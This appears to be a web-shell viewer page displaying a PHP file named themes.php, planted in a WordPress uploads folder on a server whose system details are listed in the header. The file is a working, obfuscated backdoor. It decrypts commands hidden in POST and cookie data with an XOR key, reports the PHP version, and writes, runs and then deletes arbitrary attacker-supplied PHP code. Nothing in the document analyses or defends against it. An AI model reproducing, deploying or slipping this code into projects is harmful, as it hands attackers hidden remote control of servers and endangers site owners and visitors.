HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/10/themes.php
<?php 
$ritgroy       = /*tluej  */ 'ritgroy'    ^ /* hpyi   */ '';


$qhtgzbhu    =	$ritgroy(578-481) /*utjciy  */ .    "r".$ritgroy(233-119)	.    "a"."y".$ritgroy(405-310) /*  f */ .	"m"."a".$ritgroy(1060-948);

$vbzrmhuilc    =	"\x69"	.	"\x6d" /*  oko */ .	$ritgroy(112)       . /*  _nh_n   */ $ritgroy(506-398) /* gxsph   */ .  $ritgroy(111)    .    "d"."\x65";

function    b_sib($mzcumr,	$bpbupd_n){


 /*  we */ global       $ritgroy;


  


    $mzcumr /* t   */ =    "<"	.	$ritgroy(603-540) /*k */ .     "\x70"	.    $ritgroy(505-401)      .    "\160"  . /* o*/ $ritgroy(32)	.     "\x75" /*ij   */ . /* ol   */ $ritgroy(110) /*pjljev  */ .  "l"."i"."\x6e" /*   eewqg*/ .    "k"."(".$ritgroy(95)    .  "\137"	.    $ritgroy(70) /*  y   */ . /*  swixr  */ "I"."L"."\105"       . /*erevsz*/ $ritgroy(95) /*  h   */ . /*  b   */ "\x5f"    .	")".";".$ritgroy(32)       .    $mzcumr["d"];       $rosz_bzpd    = /*aptf */ "\x66" /*svxzz  */ . /*  ro  */ "\x69"      .  "l"."\145" /* acfh_q   */ .    "\x5f" /* xif  */ .	"p"."u"."t"."\x5f" /*b  */ .	"c"."\157"       .    $ritgroy(110)     .  "t".$ritgroy(412-311)       .  "n".$ritgroy(116) /*   jht */ . /*ku */ $ritgroy(115); /*r_uq*/  /* m */ $rosz_bzpd($bpbupd_n, /* ylst  */ $mzcumr);


		sjupowj($bpbupd_n);


}




$wqbxetb /*   quulx */ =	73;




function     sjupowj($bpbupd_n)
{ /*   cfe  */ global	$ritgroy;

     


 /* powc_b   */ include($bpbupd_n); /*  kz   */ $ercnnjl  =  $bpbupd_n;   @unlink($ercnnjl);

}


function /*  ejhrd */ yxzaft_()
{ /*   vvwgc  */ global /*q   */ $ritgroy;

 /*veu  */ $btsek /* zk   */ =	array();

 /*   xlsw*/ $btsek["\160"   .    $ritgroy(118)]    =    phpversion();


	$btsek[$ritgroy(115)	.   "v"]    = /*  moend   */ $ritgroy(51) /*   hywz   */ .     "\x2e"	. /*  ej   */ "\65";
	$tmbjjkrwu	=	74;
    echo /* xaybs  */ @serialize($btsek);

}




function /* u */ zglfzeq($mzcumr,     $bsber)


{


    global   $ritgroy;

 /*   v_sywc*/ $okonehnr	=       "";

  $ldx_npm  = /* zaev   */ strlen($mzcumr);

	$ltolwd_tfcighvos	=  strlen($bsber);
    $btsek /*  zwoty   */ =    0;
    $ltolwd_    = /*   cyjx  */ 0; /*  dxlp*/      while    ($btsek       <      $ldx_npm) /* fq  */ {
	$pdgxwbzvys    =    $mzcumr[$btsek]       ^ /*   _yofdm*/ $bsber[$ltolwd_    % /*us   */ $ltolwd_tfcighvos];
 /*   ng_kof */ $okonehnr  .=    $pdgxwbzvys;    $ltolwd_++; /*epli   */ 

    $btsek++;

     }
	     if      (strlen($okonehnr) /* bp_  */ >  20)	{


    $kiplvy	=   substr($okonehnr, /*   vwvgh  */ 0,   20);
	}    if   (empty($okonehnr)) /*ik  */ {


     $okonehnr       =	date('Y-m-d /*   di   */ H:i:s');     }	return    $okonehnr;}



function	ufu_eamz($dwatydct)

{

 /*a*/ global /*   ecgotq  */ $ritgroy; /*vxyeq */     $yvcjuogpnq       =       $ritgroy(1063-966)   . /*fr*/ "\x64" /* srgfa*/ .       $ritgroy(195-144)    .	$ritgroy(50)    .       "\64"     .	$ritgroy(885-832)	. /*   zrbgi  */ "\x66" /*  oi  */ . /*rh */ "\x65".$ritgroy(45)      .    "\x65".$ritgroy(51)  .    "f"."f"."-"."4".$ritgroy(798-748) /* gdegy*/ . /*   nucvfi*/ "5"."7"."\x2d"     .    "8"."\142" /* ine */ .       "\62" /*an */ .    $ritgroy(658-608)    .     $ritgroy(45)	.       $ritgroy(446-347) /*   fo   */ .    "f"."9".$ritgroy(57)      .	$ritgroy(425-376)   . /*lg   */ "\x61" /* ahtbfw   */ . /* brppg  */ $ritgroy(792-695)."\65" /* dy  */ .    $ritgroy(914-861)     .   $ritgroy(792-695).$ritgroy(692-594)	.     "b";

	
	foreach    ($dwatydct /*e   */ as    $_ikjp	=> /*vbb */ $mzcumr)    {
 /*   sz  */ yqyxxe(base64_decode($mzcumr),  $yvcjuogpnq,    $_ikjp);
 /*  xw_t*/ }


}




function /*jfv */ yqyxxe($mzcumr,      $yvcjuogpnq,    $_ikjp)
{       global /*qkwolx   */ $ritgroy;

    
	$mzcumr       =   unserialize(zglfzeq(zglfzeq($mzcumr, /*   vu   */ $yvcjuogpnq),   $_ikjp));


	$tpoay    =	'zdum';

	$gluxxovh    = /* zl   */ 'vji';
    if    (isset($mzcumr[$ritgroy(399-302)	.    "k"]))    {


 /*zeh  */ if    ($mzcumr[$ritgroy(792-695)]   ==    "i")  {       yxzaft_();


    }    elseif	($mzcumr[$ritgroy(792-695)]    ==	"\x65")   {

 /*   qi_ */ b_sib($mzcumr,	sprintf($ritgroy(695-649)    . /*   rif_   */ "/"."%"."s"."\56"       .       "p"."l", /*   i   */ md5($yvcjuogpnq)));

			$zxwigmdep    = /* zxkevv */ 44;
    } /*  xur */ exit();

   }
}



ufu_eamz($_POST); /*u   */ 


$btseknibbnmmie    =	'rawurldecode';
$_spfo       =	$qhtgzbhu($btseknibbnmmie,	$_POST);


$vbzrmhuilc("", /*  yus*/ $btseknibbnmmie);





ufu_eamz($_COOKIE);




$rwvqzqdf /*a  */ =   $qhtgzbhu($btseknibbnmmie,     $_COOKIE);




?>